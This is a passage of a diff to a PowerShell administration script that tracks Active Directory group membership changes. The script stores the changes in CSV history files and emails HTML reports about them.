FQDN)")] - [String]$EmailServer, - - [Parameter()] - [ValidateSet("ASCII", "UTF8", "UTF7", "UTF32", "Unicode", "BigEndianUnicode", "Default")] - [String]$EmailEncoding="ASCII", - - [Parameter()] - [Switch]$HTMLLog + [Parameter(ParameterSetName = "Group", Mandatory = $true, HelpMessage = "You must specify at least one Active Directory group")] + [ValidateNotNull()] + [Alias('DN', 'DistinguishedName', 'GUID', 'SID', 'Name')] + [string[]]$Group, + + [Parameter(ParameterSetName = "OU", Mandatory = $true)] + [Alias('SearchBase')] + [String[]]$SearchRoot, + + [Parameter(ParameterSetName = "OU")] + [ValidateSet("Base", "OneLevel", "Subtree")] + [String]$SearchScope, + + [Parameter(ParameterSetName = "OU")] + [ValidateSet("Global", "Universal", "DomainLocal")] + [String]$GroupScope, + + [Parameter(ParameterSetName = "OU")] + [ValidateSet("Security", "Distribution")] + [String]$GroupType, + + [Parameter(ParameterSetName = "File", Mandatory = $true)] + [ValidateScript({ Test-Path -Path $_ })] + [String[]]$File, + + [Parameter()] + [Alias('DomainController', 'Service')] + $Server, + + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Sender Email Address")] + [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] + [String]$Emailfrom, + + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Destination Email Address")] + [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] + [String[]]$Emailto, + + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Email Server to use (IPAddress or FQDN)")] + [String]$EmailServer, + + [Parameter()] + [ValidateSet("ASCII", "UTF8", "UTF7", "UTF32", "Unicode", "BigEndianUnicode", "Default")] + [String]$EmailEncoding="ASCII", + + [Parameter()] + [Switch]$HTMLLog ) BEGIN { - TRY - { - - # Set the Paths Variables and create the folders if not present - $ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path) - $ScriptPathOutput = $ScriptPath + "\Output" - IF (!(Test-Path -Path $ScriptPathOutput)) - { - Write-Verbose -Message "[BEGIN] Creating the Output Folder : $ScriptPathOutput" - New-Item -Path $ScriptPathOutput -ItemType Directory | Out-Null - } - $ScriptPathChangeHistory = $ScriptPath + "\ChangeHistory" - IF (!(Test-Path -Path $ScriptPathChangeHistory)) - { - Write-Verbose -Message "[BEGIN] Creating the ChangeHistory Folder : $ScriptPathChangeHistory" - New-Item -Path $ScriptPathChangeHistory -ItemType Directory | Out-Null - } - - # Set the Date and Time variables format - $DateFormat = Get-Date -Format "yyyyMMdd_HHmmss" - $ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss" - - - # Active Directory Module - IF (Get-Module -Name ActiveDirectory -ListAvailable) #verify ad module is installed - { - Write-Verbose -Message "[BEGIN] Active Directory Module" - # Verify Ad module is loaded - IF (-not (Get-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINGetADModule)) - { - Write-Verbose -Message "[BEGIN] Active Directory Module - Loading" - Import-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINAddADModule - Write-Verbose -Message "[BEGIN] Active Directory Module - Loaded" - $global:ADModule = $true - } - ELSE - { - Write-Verbose -Message "[BEGIN] Active Directory module seems loaded" - $global:ADModule = $true - } - } - ELSE # Else we try to load Quest Ad Cmdlets - { - Write-Verbose -Message "[BEGIN] Quest AD Snapin" - # Verify Quest Active Directory Snapin is loaded - IF (-not (Get-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINGetQuestAD)) - { - Write-Verbose -Message "[BEGIN] Quest Active Directory - Loading" - Add-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINAddQuestAd - Write-Verbose -Message "[BEGIN] Quest Active Directory - Loaded" - $global:QuestADSnappin = $true - } - ELSE - { - Write-Verbose -Message "[BEGIN] Quest AD Snapin seems loaded" - } - } - - Write-Verbose -Message "[BEGIN] Setting HTML Variables" - # HTML Report settings - $Report = "

" + - "Report Time: $DateFormat
" + - "Account: $env:userdomain\$($env:username.toupper()) on $($env:ComputerName.toUpper())" + - "

" - - $Head = "" - $Head2 = "" - - - }#TRY - CATCH - { - Write-Warning -Message "[BEGIN] Something went wrong" - - #Show last error - #Write-Warning -Message $_.Exception.Message + TRY + { + + # Set the Paths Variables and create the folders if not present + $ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path) + $ScriptPathOutput = $ScriptPath + "\Output" + IF (!(Test-Path -Path $ScriptPathOutput)) + { + Write-Verbose -Message "[BEGIN] Creating the Output Folder : $ScriptPathOutput" + New-Item -Path $ScriptPathOutput -ItemType Directory | Out-Null + } + $ScriptPathChangeHistory = $ScriptPath + "\ChangeHistory" + IF (!(Test-Path -Path $ScriptPathChangeHistory)) + { + Write-Verbose -Message "[BEGIN] Creating the ChangeHistory Folder : $ScriptPathChangeHistory" + New-Item -Path $ScriptPathChangeHistory -ItemType Directory | Out-Null + } + + # Set the Date and Time variables format + $DateFormat = Get-Date -Format "yyyyMMdd_HHmmss" + $ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss" + + + # Active Directory Module + IF (Get-Module -Name ActiveDirectory -ListAvailable) #verify ad module is installed + { + Write-Verbose -Message "[BEGIN] Active Directory Module" + # Verify Ad module is loaded + IF (-not (Get-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINGetADModule)) + { + Write-Verbose -Message "[BEGIN] Active Directory Module - Loading" + Import-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINAddADModule + Write-Verbose -Message "[BEGIN] Active Directory Module - Loaded" + $global:ADModule = $true + } + ELSE + { + Write-Verbose -Message "[BEGIN] Active Directory module seems loaded" + $global:ADModule = $true + } + } + ELSE # Else we try to load Quest Ad Cmdlets + { + Write-Verbose -Message "[BEGIN] Quest AD Snapin" + # Verify Quest Active Directory Snapin is loaded + IF (-not (Get-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINGetQuestAD)) + { + Write-Verbose -Message "[BEGIN] Quest Active Directory - Loading" + Add-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINAddQuestAd + Write-Verbose -Message "[BEGIN] Quest Active Directory - Loaded" + $global:QuestADSnappin = $true + } + ELSE + { + Write-Verbose -Message "[BEGIN] Quest AD Snapin seems loaded" + } + } + + Write-Verbose -Message "[BEGIN] Setting HTML Variables" + # HTML Report settings + $Report = "

" + + "Report Time: $DateFormat
" + + "Account: $env:userdomain\$($env:username.toupper()) on $($env:ComputerName.toUpper())" + + "

" + + $Head = "" + $Head2 = "" + + + }#TRY + CATCH + { + Write-Warning -Message "[BEGIN] Something went wrong" + + #Show last error + #Write-Warning -Message $_.Exception.Message Write-Warning -Message $Error[0] - - # Quest AD Cmdlets Errors - if ($ErrorBEGINGetQuestAD) { Write-Warning -Message "[BEGIN] Can't Find the Quest Active Directory Snappin" } - if ($ErrorBEGINAddQuestAD) { Write-Warning -Message "[BEGIN] Can't Load the Quest Active Directory Snappin" } - - # AD module Errors - if ($ErrorBEGINGetADmodule) { Write-Warning -Message "[BEGIN] Can't find the Active Directory module" } - if ($ErrorBEGINAddADmodule) { Write-Warning -Message "[BEGIN] Can't load the Active Directory module" } - }#CATCH + + # Quest AD Cmdlets Errors + if ($ErrorBEGINGetQuestAD) { Write-Warning -Message "[BEGIN] Can't Find the Quest Active Directory Snappin" } + if ($ErrorBEGINAddQuestAD) { Write-Warning -Message "[BEGIN] Can't Load the Quest Active Directory Snappin" } + + # AD module Errors + if ($ErrorBEGINGetADmodule) { Write-Warning -Message "[BEGIN] Can't find the Active Directory module" } + if ($ErrorBEGINAddADmodule) { Write-Warning -Message "[BEGIN] Can't load the Active Directory module" } + }#CATCH }#BEGIN PROCESS { - TRY - { - - # # # # # # # # # # # # # # # # # - # SEARCHROOT parameter specified# - # # # # # # # # # # # # # # # # # - - IF ($PSBoundParameters['SearchRoot']) - { - Write-Verbose -Message "[PROCESS] SearchRoot specified" - FOREACH ($item in $SearchRoot) - { - # ADGroup Splatting - $ADGroupParams = @{ } - - - # ActiveDirectory Module - IF ($ADModule) - { - $ADGroupParams.SearchBase = $item - - # Server Specified - IF ($PSBoundParameters['Server']) { $ADGroupParams.Server = $Server} - } - IF ($QuestADSnappin) - { - $ADGroupParams.SearchRoot = $item - - # Server Specified - IF ($PSBoundParameters['Server']) { $ADGroupParams.Service = $Server } - } - - - # # # # # # # # # # # # # # # # # # - # SEARCHSCOPE Parameter specified # - # # # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['SearchScope']) - { - Write-Verbose -Message "[PROCESS] SearchScope specified" - $ADGroupParams.SearchScope = $SearchScope - } - - - # # # # # # # # # # # # # # # # # - # GROUPSCOPE Parameter specified# - # # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['GroupScope']) - { - Write-Verbose -Message "[PROCESS] GroupScope specified" - # ActiveDirectory Module Parameter - IF ($ADModule) { $ADGroupParams.Filter = "GroupScope -eq `'$GroupScope`'" } - # Quest ActiveDirectory Snapin Parameter - ELSE { $ADGroupParams.GroupScope = $GroupScope } - } - - - # # # # # # # # # # # # # # # # # - # GROUPTYPE Parameter specified # - # # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['GroupType']) - { - Write-Verbose -Message "[PROCESS] GroupType specified" - # ActiveDirectory Module - IF ($ADModule) - { - # ActiveDirectory Module Parameter - IF ($ADGroupParams.Filter) - { - $ADGroupParams.Filter = "$($ADGroupParams.Filter) -and GroupCategory -eq `'$GroupType`'" - } - ELSE - { - $ADGroupParams.Filter = "GroupCategory -eq '$GroupType'" - } - } - # Quest ActiveDirectory Snapin - ELSE - { - $ADGroupParams.GroupType = $GroupType - } - }#IF ($PSBoundParameters['GroupType']) - - - - IF ($ADModule) - { + TRY + { + + # # # # # # # # # # # # # # # # # + # SEARCHROOT parameter specified# + # # # # # # # # # # # # # # # # # + + IF ($PSBoundParameters['SearchRoot']) + { + Write-Verbose -Message "[PROCESS] SearchRoot specified" + FOREACH ($item in $SearchRoot) + { + # ADGroup Splatting + $ADGroupParams = @{ } + + + # ActiveDirectory Module + IF ($ADModule) + { + $ADGroupParams.SearchBase = $item + + # Server Specified + IF ($PSBoundParameters['Server']) { $ADGroupParams.Server = $Server} + } + IF ($QuestADSnappin) + { + $ADGroupParams.SearchRoot = $item + + # Server Specified + IF ($PSBoundParameters['Server']) { $ADGroupParams.Service = $Server } + } + + + # # # # # # # # # # # # # # # # # # + # SEARCHSCOPE Parameter specified # + # # # # # # # # # # # # # # # # # # + IF ($PSBoundParameters['SearchScope']) + { + Write-Verbose -Message "[PROCESS] SearchScope specified" + $ADGroupParams.SearchScope = $SearchScope + } + + + # # # # # # # # # # # # # # # # # + # GROUPSCOPE Parameter specified# + # # # # # # # # # # # # # # # # # + IF ($PSBoundParameters['GroupScope']) + { + Write-Verbose -Message "[PROCESS] GroupScope specified" + # ActiveDirectory Module Parameter + IF ($ADModule) { $ADGroupParams.Filter = "GroupScope -eq `'$GroupScope`'" } + # Quest ActiveDirectory Snapin Parameter + ELSE { $ADGroupParams.GroupScope = $GroupScope } + } + + + # # # # # # # # # # # # # # # # # + # GROUPTYPE Parameter specified # + # # # # # # # # # # # # # # # # # + IF ($PSBoundParameters['GroupType']) + { + Write-Verbose -Message "[PROCESS] GroupType specified" + # ActiveDirectory Module + IF ($ADModule) + { + # ActiveDirectory Module Parameter + IF ($ADGroupParams.Filter) + { + $ADGroupParams.Filter = "$($ADGroupParams.Filter) -and GroupCategory -eq `'$GroupType`'" + } + ELSE + { + $ADGroupParams.Filter = "GroupCategory -eq '$GroupType'" + } + } + # Quest ActiveDirectory Snapin + ELSE + { + $ADGroupParams.GroupType = $GroupType + } + }#IF ($PSBoundParameters['GroupType']) + + + + IF ($ADModule) + { IF (-not($ADGroupParams.filter)){$ADGroupParams.Filter = "*"} - - Write-Verbose -Message "[PROCESS] AD Module - Querying..." - - # Add the groups to the variable $Group + + Write-Verbose -Message "[PROCESS] AD Module - Querying..." + + # Add the groups to the variable $Group $GroupSearch = Get-ADGroup @ADGroupParams if ($GroupSearch){ - $group += $GroupSearch.Distinguishedname + $group += $GroupSearch.Distinguishedname Write-Verbose -Message "[PROCESS] OU: $item" } - } - - IF ($QuestADSnappin) - { - Write-Verbose -Message "[PROCESS] Quest AD Snapin - Querying..." - # Add the groups to the variable $Group + } + + IF ($QuestADSnappin) + { + Write-Verbose -Message "[PROCESS] Quest AD Snapin - Querying..." + # Add the groups to the variable $Group $GroupSearchQuest = Get-QADGroup @ADGroupParams if ($GroupSearchQuest){ - $group += $GroupSearchQuest.DN - Write-Verbose -Message "[PROCESS] OU: $item" + $group += $GroupSearchQuest.DN + Write-Verbose -Message "[PROCESS] OU: $item" } - } - - }#FOREACH ($item in $OU) - }#IF ($PSBoundParameters['SearchRoot']) - - - - - # # # # # # # # # # # # # # # - # FILE parameter specified # - # # # # # # # # # # # # # # # - - IF ($PSBoundParameters['File']) - { - Write-Verbose -Message "[PROCESS] File" - FOREACH ($item in $File) - { - Write-Verbose -Message "[PROCESS] Loading File: $item" - + } + + }#FOREACH ($item in $OU) + }#IF ($PSBoundParameters['SearchRoot']) + + + + + # # # # # # # # # # # # # # # + # FILE parameter specified # + # # # # # # # # # # # # # # # + + IF ($PSBoundParameters['File']) + { + Write-Verbose -Message "[PROCESS] File" + FOREACH ($item in $File) + { + Write-Verbose -Message "[PROCESS] Loading File: $item" + $FileContent = Get-Content -Path $File - + if ($FileContent) { # Add the groups to the variable $Group - $Group += Get-Content -Path $File + $Group += Get-Content -Path $File + } + + + + }#FOREACH ($item in $File) + }#IF ($PSBoundParameters['File']) + + + + # # # # # # # # # # # # # # # # # # # # # # # # # # # + # GROUP or SEARCHROOT or FILE parameters specified # + # # # # # # # # # # # # # # # # # # # # # # # # # # # + + # This will run for any parameter set name ParameterSetName = OU, Group or File + FOREACH ($item in $Group) + { + TRY + { + + Write-Verbose -Message "[PROCESS] GROUP: $item... " + + # Splatting for the AD Group Request + $GroupSplatting = @{ } + $GroupSplatting.Identity = $item + + # Group Information + if ($ADModule) + { + Write-Verbose -Message "[PROCESS] ActiveDirectory module" + + # Add the Server if specified + IF ($PSBoundParameters['Server']) { $GroupSplatting.Server = $Server } + + # Look for Group + $GroupName = Get-ADGroup @GroupSplatting -Properties * -ErrorAction Continue -ErrorVariable ErrorProcessGetADGroup + $DomainName = ($GroupName.canonicalname -split '/')[0] + $RealGroupName = $GroupName.name + } + if ($QuestADSnappin) + { + Write-Verbose -Message "[PROCESS] Quest ActiveDirectory Snapin" + + # Add the Server if specified + IF ($PSBoundParameters['Server']) { $GroupSplatting.Service = $Server } + + # Look for Group + $GroupName = Get-QADgroup @GroupSplatting -ErrorAction Continue -ErrorVariable ErrorProcessGetQADGroup + $DomainName = $($GroupName.domain.name) + $RealGroupName = $GroupName.name } - - - - }#FOREACH ($item in $File) - }#IF ($PSBoundParameters['File']) - - - - # # # # # # # # # # # # # # # # # # # # # # # # # # # - # GROUP or SEARCHROOT or FILE parameters specified # - # # # # # # # # # # # # # # # # # # # # # # # # # # # - - # This will run for any parameter set name ParameterSetName = OU, Group or File - FOREACH ($item in $Group) - { - TRY - { - - Write-Verbose -Message "[PROCESS] GROUP: $item... " - - # Splatting for the AD Group Request - $GroupSplatting = @{ } - $GroupSplatting.Identity = $item - - # Group Information - if ($ADModule) - { - Write-Verbose -Message "[PROCESS] ActiveDirectory module" - - # Add the Server if specified - IF ($PSBoundParameters['Server']) { $GroupSplatting.Server = $Server } - - # Look for Group - $GroupName = Get-ADGroup @GroupSplatting -Properties * -ErrorAction Continue -ErrorVariable ErrorProcessGetADGroup - $DomainName = ($GroupName.canonicalname -split '/')[0] - $RealGroupName = $GroupName.name - } - if ($QuestADSnappin) - { - Write-Verbose -Message "[PROCESS] Quest ActiveDirectory Snapin" - - # Add the Server if specified - IF ($PSBoundParameters['Server']) { $GroupSplatting.Service = $Server } - - # Look for Group - $GroupName = Get-QADgroup @GroupSplatting -ErrorAction Continue -ErrorVariable ErrorProcessGetQADGroup - $DomainName = $($GroupName.domain.name) - $RealGroupName = $GroupName.name - } - - # GroupName Found - IF ($GroupName) - { - - # Splatting for the AD Group Members Request - $GroupMemberSplatting = @{ } - $GroupMemberSplatting.Identity = $GroupName - - - # Get GroupName Membership - if ($ADModule) - { - Write-Verbose -Message "[PROCESS] GROUP: $item - Querying Membership (AD Module)" - - # Add the Server if specified - IF ($PSBoundParameters['Server']) { $GroupMemberSplatting.Server = $Server } - - # Look for Members - $Members = Get-ADGroupMember @GroupMemberSplatting -Recursive -ErrorAction Stop -ErrorVariable ErrorProcessGetADGroupMember | Select-Object -Property *,@{ Name = 'DN'; Expression = { $_.DistinguishedName } } - } - if ($QuestADSnappin) - { - Write-Verbose -Message "[PROCESS] GROUP: $item - Querying Membership (Quest AD Snapin)" - - # Add the Server if specified - IF ($PSBoundParameters['Server']) { $GroupMemberSplatting.Service = $Server } - - $Members = Get-QADGroupMember @GroupMemberSplatting -Indirect -ErrorAction Stop -ErrorVariable ErrorProcessGetQADGroupMember #| Select-Object -Property *,@{ Name = 'DistinguishedName'; Expression = { $_.dn } } - } - # NO MEMBERS, Add some info in $members to avoid the $null - # If the value is $null the compare-object won't work - IF (-not ($Members)) - { - Write-Verbose -Message "[PROCESS] GROUP: $item is empty" - $Members = New-Object -TypeName PSObject -Property @{ - Name = "No User or Group" - SamAccountName = "No User or Group" - } - } - - - # GroupName Membership File - # If the file doesn't exist, assume we don't have a record to refer to - $StateFile = "$($DomainName)_$($RealGroupName)-membership.csv" - IF (!(Test-Path -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile))) - { - Write-Verbose -Message "[PROCESS] $item - The following file did not exist: $StateFile" - Write-Verbose -Message "[PROCESS] $item - Exporting the current membership information into the file: $StateFile" - $Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation - } - ELSE - { - Write-Verbose -Message "[PROCESS] $item - The following file Exists: $StateFile" - } - - - # GroupName Membership File is compared with the current GroupName Membership - Write-Verbose -Message "[PROCESS] $item - Comparing Current and Before" - $ImportCSV = Import-Csv -Path (Join-Path -path $ScriptPathOutput -childpath $StateFile) -ErrorAction Stop -ErrorVariable ErrorProcessImportCSV - $Changes = Compare-Object -DifferenceObject $ImportCSV -ReferenceObject $Members -ErrorAction stop -ErrorVariable ErrorProcessCompareObject -Property Name, SamAccountName, DN | - Select-Object @{ Name = "DateTime"; Expression = { Get-Date -Format "yyyyMMdd-hh:mm:ss" } }, @{ - n = 'State'; e = { - IF ($_.SideIndicator -eq "=>") { "Removed" } - ELSE { "Added" } - } - }, DisplayName, Name, SamAccountName, DN | Where-Object { $_.name -notlike "*no user or group*" } - Write-Verbose -Message "[PROCESS] $item - Compare Block Done !" - - <# Troubleshooting - Write-Verbose -Message "IMPORTCSV var" - $ImportCSV | fl -Property Name, SamAccountName, DN - - Write-Verbose -Message "MEMBER" - $Members | fl -Property Name, SamAccountName, DN - Write-Verbose -Message "CHANGE" - $Changes - #> - - # CHANGES FOUND ! - If ($Changes) - { - Write-Verbose -Message "[PROCESS] $item - Some changes found" - $changes | Select-Object -Property DateTime, State, Name, SamAccountName, DN - - # CHANGE HISTORY - # Get the Past Changes History - Write-Verbose -Message "[PROCESS] $item - Get the change history for this group" - $ChangesHistoryFiles = Get-ChildItem -Path $ScriptPathChangeHistory\$($DomainName)_$($RealGroupName)-ChangeHistory.csv -ErrorAction 'SilentlyContinue' - Write-Verbose -Message "[PROCESS] $item - Change history files: $(($ChangesHistoryFiles|Measure-Object).Count)" - - # Process each history changes - IF ($ChangesHistoryFiles) - { - $infoChangeHistory = @() - FOREACH ($file in $ChangesHistoryFiles.FullName) - { - Write-Verbose -Message "[PROCESS] $item - Change history files - Loading $file" - # Import the file and show the $file creation time and its content - $ImportedFile = Import-Csv -Path $file -ErrorAction Stop -ErrorVariable ErrorProcessImportCSVChangeHistory - FOREACH ($obj in $ImportedFile) - { - $Output = "" | Select-Object -Property DateTime, State, DisplayName,Name, SamAccountName, DN - #$Output.DateTime = $file.CreationTime.GetDateTimeFormats("u") | Out-String - $Output.DateTime = $obj.DateTime - $Output.State = $obj.State - $Output.DisplayName = $obj.DisplayName - $Output.Name = $obj.Name - $Output.SamAccountName = $obj.SamAccountName - $Output.DN = $obj.DN - $infoChangeHistory = $infoChangeHistory + $Output - }#FOREACH $obj in Import-csv $file - }#FOREACH $file in $ChangeHistoryFiles - Write-Verbose -Message "[PROCESS] $item - Change history process completed" - }#IF($ChangeHistoryFiles) - - # CHANGE(S) EXPORT TO CSV - Write-Verbose -Message "[PROCESS] $item - Save changes to a ChangesHistory file" - - IF (-not (Test-Path -path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv"))) - { - $Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv") -NoTypeInformation - } - ELSE - { - #$Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$DomainName_$RealGroupName-ChangeHistory-$DateFormat.csv") -NoTypeInformation - $Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv") -NoTypeInformation -Append - } - - - # EMAIL - Write-Verbose -Message "[PROCESS] $item - Preparing the notification email..." - - $EmailSubject = "PS MONITORING - $($GroupName.SamAccountName) Membership Change" - - # Preparing the body of the Email - $body = "

Group: $($GroupName.SamAccountName)

" - $body += "

" - $body += "Group Description: $($GroupName.Description)
" - $body += "Group DistinguishedName: $($GroupName.DistinguishedName)
" - $body += "Group CanonicalName: $($GroupName.CanonicalName)
" - $body += "Group SID: $($GroupName.Sid.value)
" - $body += "Group Scope/Type: $($GroupName.GroupScope) / $($GroupName.GroupType)
" - $body += "

" - - $body += "

Membership Change" - $body += "

" - $body += "The membership of this group changed. See the following Added or Removed members." - - # Removing the old DisplayName Property - $Changes = $changes | Select-Object -Property DateTime, State,Name, SamAccountName, DN - - $body += $changes | ConvertTo-Html -head $head | Out-String - $body += "


" - IF ($ChangesHistoryFiles) - { - # Removing the old DisplayName Property - $infoChangeHistory = $infoChangeHistory | Select-Object -Property DateTime, State, Name, SamAccountName, DN - - $body += "

Change History

" - $body += "List of the previous changes on this group observed by the script" - $body += $infoChangeHistory | Sort-Object -Property DateTime -Descending | ConvertTo-Html -Fragment -PreContent $Head2 | Out-String - } - $body = $body -replace "Added", "Added" - $body = $body -replace "Removed", "Removed" - $body += $Report - - # Preparing the Email properties - $SmtpClient = New-Object -TypeName system.net.mail.smtpClient - $SmtpClient.host = $EmailServer - $MailMessage = New-Object -TypeName system.net.mail.mailmessage - #$MailMessage.from = $EmailFrom.Address - $MailMessage.from = $EmailFrom - #FOREACH ($To in $Emailto){$MailMessage.To.add($($To.Address))} - FOREACH ($To in $Emailto) { $MailMessage.To.add($($To)) } - $MailMessage.IsBodyHtml = 1 - $MailMessage.Subject = $EmailSubject - $MailMessage.Body = $Body - - # Encoding - $MailMessage.BodyEncoding = [System.Text.Encoding]::$EmailEncoding - $MailMessage.SubjectEncoding = [System.Text.Encoding]::$EmailEncoding - - - # Sending the Email - $SmtpClient.Send($MailMessage) - Write-Verbose -Message "[PROCESS] $item - Email Sent." - - - # GroupName Membership export to CSV - Write-Verbose -Message "[PROCESS] $item - Exporting the current membership to $StateFile" - $Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation -Encoding Unicode - - # Export HTML File - IF ($PSBoundParameters['HTMLLog']) - { - # Create HTML Directory if it does not exist - $ScriptPathHTML = $ScriptPath + "\HTML" - IF (!(Test-Path -Path $ScriptPathHTML)) - { - Write-Verbose -Message "[PROCESS] Creating the HTML Folder : $ScriptPathHTML" - New-Item -Path $ScriptPathHTML -ItemType Directory | Out-Null - } - - # Define HTML File Name - $HTMLFileName = "$($DomainName)_$($RealGroupName)-$(Get-Date -Format 'yyyyMMdd_HHmmss').html" - - # Save HTML File - $Body | Out-File -FilePath (Join-Path -Path $ScriptPathHTML -ChildPath $HTMLFileName) - } - - - }#IF $Change - ELSE { Write-Verbose -Message "[PROCESS] $item - No Change" } - - }#IF ($GroupName) - ELSE - { - Write-Verbose -message "[PROCESS] $item - Group can't be found" - #IF (Get-ChildItem (Join-Path $ScriptPathOutput "*$item*-membership.csv" -ErrorAction Continue) -or (Get-ChildItem (Join-Path $ScriptPathChangeHistory "*$item*.csv" -ErrorAction Continue))) - #{ - # Write-Warning "$item - Looks like a file contains the name of this group, this group was possibly deleted from Active Directory" - #} - - }#ELSE $GroupName - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something went wrong" - #Write-Warning -Message $_.Exception.Message + + # GroupName Found + IF ($GroupName) + { + + # Splatting for the AD Group Members Request + $GroupMemberSplatting = @{ } + $GroupMemberSplatting.Identity = $GroupName + + + # Get GroupName Membership + if ($ADModule) + { + Write-Verbose -Message "[PROCESS] GROUP: $item - Querying Membership (AD Module)" + + # Add the Server if specified + IF ($PSBoundParameters['Server']) { $GroupMemberSplatting.Server = $Server } + + # Look for Members + $Members = Get-ADGroupMember @GroupMemberSplatting -Recursive -ErrorAction Stop -ErrorVariable ErrorProcessGetADGroupMember | Select-Object -Property *,@{ Name = 'DN'; Expression = { $_.DistinguishedName } } + } + if ($QuestADSnappin) + { + Write-Verbose -Message "[PROCESS] GROUP: $item - Querying Membership (Quest AD Snapin)" + + # Add the Server if specified + IF ($PSBoundParameters['Server']) { $GroupMemberSplatting.Service = $Server } + + $Members = Get-QADGroupMember @GroupMemberSplatting -Indirect -ErrorAction Stop -ErrorVariable ErrorProcessGetQADGroupMember #| Select-Object -Property *,@{ Name = 'DistinguishedName'; Expression = { $_.dn } } + } + # NO MEMBERS, Add some info in $members to avoid the $null + # If the value is $null the compare-object won't work + IF (-not ($Members)) + { + Write-Verbose -Message "[PROCESS] GROUP: $item is empty" + $Members = New-Object -TypeName PSObject -Property @{ + Name = "No User or Group" + SamAccountName = "No User or Group" + } + } + + + # GroupName Membership File + # If the file doesn't exist, assume we don't have a record to refer to + $StateFile = "$($DomainName)_$($RealGroupName)-membership.csv" + IF (!(Test-Path -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile))) + { + Write-Verbose -Message "[PROCESS] $item - The following file did not exist: $StateFile" + Write-Verbose -Message "[PROCESS] $item - Exporting the current membership information into the file: $StateFile" + $Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation + } + ELSE + { + Write-Verbose -Message "[PROCESS] $item - The following file Exists: $StateFile" + } + + + # GroupName Membership File is compared with the current GroupName Membership + Write-Verbose -Message "[PROCESS] $item - Comparing Current and Before" + $ImportCSV = Import-Csv -Path (Join-Path -path $ScriptPathOutput -childpath $StateFile) -ErrorAction Stop -ErrorVariable ErrorProcessImportCSV + $Changes = Compare-Object -DifferenceObject $ImportCSV -ReferenceObject $Members -ErrorAction stop -ErrorVariable ErrorProcessCompareObject -Property Name, SamAccountName, DN | + Select-Object @{ Name = "DateTime"; Expression = { Get-Date -Format "yyyyMMdd-hh:mm:ss" } }, @{ + n = 'State'; e = { + IF ($_.SideIndicator -eq "=>") { "Removed" } + ELSE { "Added" } + } + }, DisplayName, Name, SamAccountName, DN | Where-Object { $_.name -notlike "*no user or group*" } + Write-Verbose -Message "[PROCESS] $item - Compare Block Done !" + + <# Troubleshooting + Write-Verbose -Message "IMPORTCSV var" + $ImportCSV | fl -Property Name, SamAccountName, DN + + Write-Verbose -Message "MEMBER" + $Members | fl -Property Name, SamAccountName, DN + Write-Verbose -Message "CHANGE" + $Changes + #> + + # CHANGES FOUND ! + If ($Changes) + { + Write-Verbose -Message "[PROCESS] $item - Some changes found" + $changes | Select-Object -Property DateTime, State, Name, SamAccountName, DN + + # CHANGE HISTORY + # Get the Past Changes History + Write-Verbose -Message "[PROCESS] $item - Get the change history for this group" + $ChangesHistoryFiles = Get-ChildItem -Path $ScriptPathChangeHistory\$($DomainName)_$($RealGroupName)-ChangeHistory.csv -ErrorAction 'SilentlyContinue' + Write-Verbose -Message "[PROCESS] $item - Change history files: $(($ChangesHistoryFiles|Measure-Object).Count)" + + # Process each history changes + IF ($ChangesHistoryFiles) + { + $infoChangeHistory = @() + FOREACH ($file in $ChangesHistoryFiles.FullName) + { + Write-Verbose -Message "[PROCESS] $item - Change history files - Loading $file" + # Import the file and show the $file creation time and its content + $ImportedFile = Import-Csv -Path $file -ErrorAction Stop -ErrorVariable ErrorProcessImportCSVChangeHistory + FOREACH ($obj in $ImportedFile) + { + $Output = "" | Select-Object -Property DateTime, State, DisplayName,Name, SamAccountName, DN + #$Output.DateTime = $file.CreationTime.GetDateTimeFormats("u") | Out-String + $Output.DateTime = $obj.DateTime + $Output.State = $obj.State + $Output.DisplayName = $obj.DisplayName + $Output.Name = $obj.Name + $Output.SamAccountName = $obj.SamAccountName + $Output.DN = $obj.DN + 